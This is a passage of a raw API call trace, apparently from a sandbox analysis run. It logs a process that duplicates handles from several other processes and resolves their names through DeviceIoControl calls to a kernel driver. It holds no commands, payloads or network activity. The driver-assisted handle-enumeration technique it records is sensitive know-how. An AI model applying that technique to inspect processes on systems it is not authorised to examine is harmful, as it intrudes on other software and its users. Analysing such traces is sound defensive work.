ProcessId=0xc9c, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.629] PsAcquireProcessExitSynchronization () returned 0x0 [0081.629] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0) [0081.629] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa8003038b60, HandleInformation=0x0) returned 0x0 [0081.629] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.629] PsReleaseProcessExitSynchronization () returned 0x2 [0081.629] ObfDereferenceObject (Object=0xfffffa80038c9b30) returned 0xe [0081.629] ObQueryNameString (in: Object=0xfffffa8003038b60, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.629] ObfDereferenceObject (Object=0xfffffa8003038b60) returned 0x10f [0081.629] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.629] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.629] CloseHandle (hObject=0xc0) returned 1 [0081.629] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc9c) returned 0xc0 [0081.629] GetCurrentProcess () returned 0xffffffffffffffff [0081.629] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x1c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xbc) returned 1 [0081.629] CloseHandle (hObject=0xc0) returned 1 [0081.629] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.629] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x364c70 [0081.629] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.629] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.629] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.629] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x1a, lpOverlapped=0x0) returned 1 [0081.629] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.629] PsAcquireProcessExitSynchronization () returned 0x0 [0081.629] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0) [0081.630] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80030987b0, HandleInformation=0x0) returned 0x0 [0081.630] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.630] PsReleaseProcessExitSynchronization () returned 0x2 [0081.630] ObfDereferenceObject (Object=0xfffffa80038c9b30) returned 0xe [0081.630] ObQueryNameString (in: Object=0xfffffa80030987b0, ObjectNameInfo=0xfffffa8003951044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003951044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.630] ObfDereferenceObject (Object=0xfffffa80030987b0) returned 0x4da [0081.630] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.630] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.630] CloseHandle (hObject=0xbc) returned 1 [0081.630] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc9c) returned 0xbc [0081.630] GetCurrentProcess () returned 0xffffffffffffffff [0081.630] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x18, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0081.630] CloseHandle (hObject=0xbc) returned 1 [0081.630] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.630] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x80) returned 0x364c70 [0081.630] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.630] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.630] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.630] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.630] PsLookupProcessByProcessId (in: ProcessId=0xc9c, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.630] PsAcquireProcessExitSynchronization () returned 0x0 [0081.630] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa80038c9b30, ApcState=0xfffff880054525d0) [0081.630] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80037b92e0, HandleInformation=0x0) returned 0x0 [0081.630] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.630] PsReleaseProcessExitSynchronization () returned 0x2 [0081.630] ObfDereferenceObject (Object=0xfffffa80038c9b30) returned 0xe [0081.630] ObQueryNameString (in: Object=0xfffffa80037b92e0, ObjectNameInfo=0xfffffa8003952044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003952044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.630] ObfDereferenceObject (Object=0xfffffa80037b92e0) returned 0x4 [0081.630] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.630] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.630] CloseHandle (hObject=0xc0) returned 1 [0081.630] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc94) returned 0xc0 [0081.630] GetCurrentProcess () returned 0xffffffffffffffff [0081.630] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xbc) returned 1 [0081.631] CloseHandle (hObject=0xc0) returned 1 [0081.631] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.631] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x364c70 [0081.631] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.631] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.631] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.631] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.631] PsLookupProcessByProcessId (in: ProcessId=0xc94, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.631] PsAcquireProcessExitSynchronization () returned 0x0 [0081.631] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054525d0) [0081.631] ObReferenceObjectByHandle (in: Handle=0xb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800374d7a0, HandleInformation=0x0) returned 0x0 [0081.631] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.631] PsReleaseProcessExitSynchronization () returned 0x2 [0081.631] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x22 [0081.631] ObQueryNameString (in: Object=0xfffffa800374d7a0, ObjectNameInfo=0xfffffa8003955044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003955044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.631] ObfDereferenceObject (Object=0xfffffa800374d7a0) returned 0x3 [0081.631] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.631] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.631] CloseHandle (hObject=0xbc) returned 1 [0081.631] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc94) returned 0xbc [0081.631] GetCurrentProcess () returned 0xffffffffffffffff [0081.631] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0081.631] CloseHandle (hObject=0xbc) returned 1 [0081.631] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.631] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x364c70 [0081.631] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.631] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.631] NtQueryInformationThread (in: ThreadHandle=0xc0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000022 [0081.631] CloseHandle (hObject=0xc0) returned 1 [0081.631] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc94) returned 0xc0 [0081.631] GetCurrentProcess () returned 0xffffffffffffffff [0081.631] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xbc) returned 1 [0081.632] CloseHandle (hObject=0xc0) returned 1 [0081.632] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.632] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x88) returned 0x364c70 [0081.632] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.632] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.632] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.632] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.632] PsLookupProcessByProcessId (in: ProcessId=0xc94, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.632] PsAcquireProcessExitSynchronization () returned 0x0 [0081.632] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054525d0) [0081.632] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80021aaaa0, HandleInformation=0x0) returned 0x0 [0081.632] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.632] PsReleaseProcessExitSynchronization () returned 0x2 [0081.632] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x22 [0081.632] ObQueryNameString (in: Object=0xfffffa80021aaaa0, ObjectNameInfo=0xfffffa8003962044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003962044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.632] ObfDereferenceObject (Object=0xfffffa80021aaaa0) returned 0x2 [0081.632] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.632] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.632] CloseHandle (hObject=0xbc) returned 1 [0081.632] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc94) returned 0xbc [0081.632] GetCurrentProcess () returned 0xffffffffffffffff [0081.632] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0xa0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0081.632] CloseHandle (hObject=0xbc) returned 1 [0081.632] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.632] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x88) returned 0x37cb70 [0081.632] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x37cb70, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x37cb70, ReturnLength=0x0) returned 0x0 [0081.632] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x37cb70 | out: hHeap=0x340000) returned 1 [0081.632] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.632] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.632] PsLookupProcessByProcessId (in: ProcessId=0xc94, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.632] PsAcquireProcessExitSynchronization () returned 0x0 [0081.632] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054525d0) [0081.632] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa800317d990, HandleInformation=0x0) returned 0x0 [0081.632] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.632] PsReleaseProcessExitSynchronization () returned 0x2 [0081.632] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x22 [0081.632] ObQueryNameString (in: Object=0xfffffa800317d990, ObjectNameInfo=0xfffffa8003963044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003963044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.633] ObfDereferenceObject (Object=0xfffffa800317d990) returned 0x3 [0081.633] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.633] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.633] CloseHandle (hObject=0xc0) returned 1 [0081.633] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc94) returned 0xc0 [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x9c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xbc) returned 1 [0081.633] CloseHandle (hObject=0xc0) returned 1 [0081.633] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.633] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x80) returned 0x37cb70 [0081.633] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x37cb70, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x37cb70, ReturnLength=0x0) returned 0x0 [0081.633] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x37cb70 | out: hHeap=0x340000) returned 1 [0081.633] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.633] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.633] PsLookupProcessByProcessId (in: ProcessId=0xc94, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.633] PsAcquireProcessExitSynchronization () returned 0x0 [0081.633] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054525d0) [0081.633] ObReferenceObjectByHandle (in: Handle=0x9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffff8a0018b4a00, HandleInformation=0x0) returned 0x0 [0081.633] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.633] PsReleaseProcessExitSynchronization () returned 0x2 [0081.633] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x22 [0081.633] ObQueryNameString (in: Object=0xfffff8a0018b4a00, ObjectNameInfo=0xfffffa8003968044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003968044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.633] ObfDereferenceObject (Object=0xfffff8a0018b4a00) returned 0x2 [0081.633] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.633] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.633] CloseHandle (hObject=0xbc) returned 1 [0081.633] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc94) returned 0xbc [0081.633] GetCurrentProcess () returned 0xffffffffffffffff [0081.633] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x48, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0081.633] CloseHandle (hObject=0xbc) returned 1 [0081.633] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.633] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x364c70 [0081.634] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.634] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.634] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.634] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.634] PsLookupProcessByProcessId (in: ProcessId=0xc94, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.634] PsAcquireProcessExitSynchronization () returned 0x0 [0081.634] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880054525d0) [0081.634] ObReferenceObjectByHandle (in: Handle=0x48, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80028399b0, HandleInformation=0x0) returned 0x0 [0081.634] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.634] PsReleaseProcessExitSynchronization () returned 0x2 [0081.634] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x22 [0081.634] ObQueryNameString (in: Object=0xfffffa80028399b0, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.634] ObfDereferenceObject (Object=0xfffffa80028399b0) returned 0x2 [0081.634] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.634] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.634] CloseHandle (hObject=0xc0) returned 1 [0081.634] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc8c) returned 0xc0 [0081.634] GetCurrentProcess () returned 0xffffffffffffffff [0081.634] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x20, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xbc) returned 1 [0081.634] CloseHandle (hObject=0xc0) returned 1 [0081.634] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.634] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x78) returned 0x364c70 [0081.634] NtQueryObject (in: Handle=0xbc, ObjectInformationClass=0x2, ObjectInformation=0x364c70, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x364c70, ReturnLength=0x0) returned 0x0 [0081.634] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x364c70 | out: hHeap=0x340000) returned 1 [0081.634] NtQueryInformationProcess (in: ProcessHandle=0xbc, ProcessInformationClass=0x0, ProcessInformation=0x12d538, ProcessInformationLength=0x30, ReturnLength=0x12d4b0 | out: ProcessInformation=0x12d538, ReturnLength=0x12d4b0) returned 0xc0000022 [0081.634] CloseHandle (hObject=0xbc) returned 1 [0081.634] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc7c) returned 0xbc [0081.634] GetCurrentProcess () returned 0xffffffffffffffff [0081.634] DuplicateHandle (in: hSourceProcessHandle=0xbc, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0081.634] CloseHandle (hObject=0xbc) returned 1 [0081.634] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0081.634] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x80) returned 0x37cb70 [0081.634] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x37cb70, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x37cb70, ReturnLength=0x0) returned 0x0 [0081.635] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x37cb70 | out: hHeap=0x340000) returned 1 [0081.635] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x808) returned 0x1f40090 [0081.635] DeviceIoControl (in: hDevice=0x78, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f40090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f40090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0081.635] PsLookupProcessByProcessId (in: ProcessId=0xc7c, Process=0xfffff88005452558 | out: Process=0xfffff88005452558) returned 0x0 [0081.635] PsAcquireProcessExitSynchronization () returned 0x0 [0081.635] KeStackAttachProcess (in: PROCESS=0xfffffa8003956b30, ApcState=0xfffff880054525d0 | out: PROCESS=0xfffffa8003956b30, ApcState=0xfffff880054525d0) [0081.635] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e601, Object=0xfffff88005452548, HandleInformation=0x0 | out: Object=0xfffff88005452548*=0xfffffa80021953b0, HandleInformation=0x0) returned 0x0 [0081.635] KeUnstackDetachProcess (ApcState=0xfffff880054525d0) [0081.635] PsReleaseProcessExitSynchronization () returned 0x2 [0081.635] ObfDereferenceObject (Object=0xfffffa8003956b30) returned 0x1a [0081.635] ObQueryNameString (in: Object=0xfffffa80021953b0, ObjectNameInfo=0xfffffa800396a044, Length=0x800, ReturnLength=0xfffff88005452550 | out: ObjectNameInfo=0xfffffa800396a044, ReturnLength=0xfffff88005452550) returned 0x0 [0081.635] ObfDereferenceObject (Object=0xfffffa80021953b0) returned 0x2 [0081.635] IofCompleteRequest (Irp=0xfffffa80024bda90, PriorityBoost=0) [0081.635] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x1f40090 | out: hHeap=0x340000) returned 1 [0081.635] CloseHandle (hObject=0xc0) returned 1 [0081.635] OpenProcess (dwDesiredAccess=0x40, 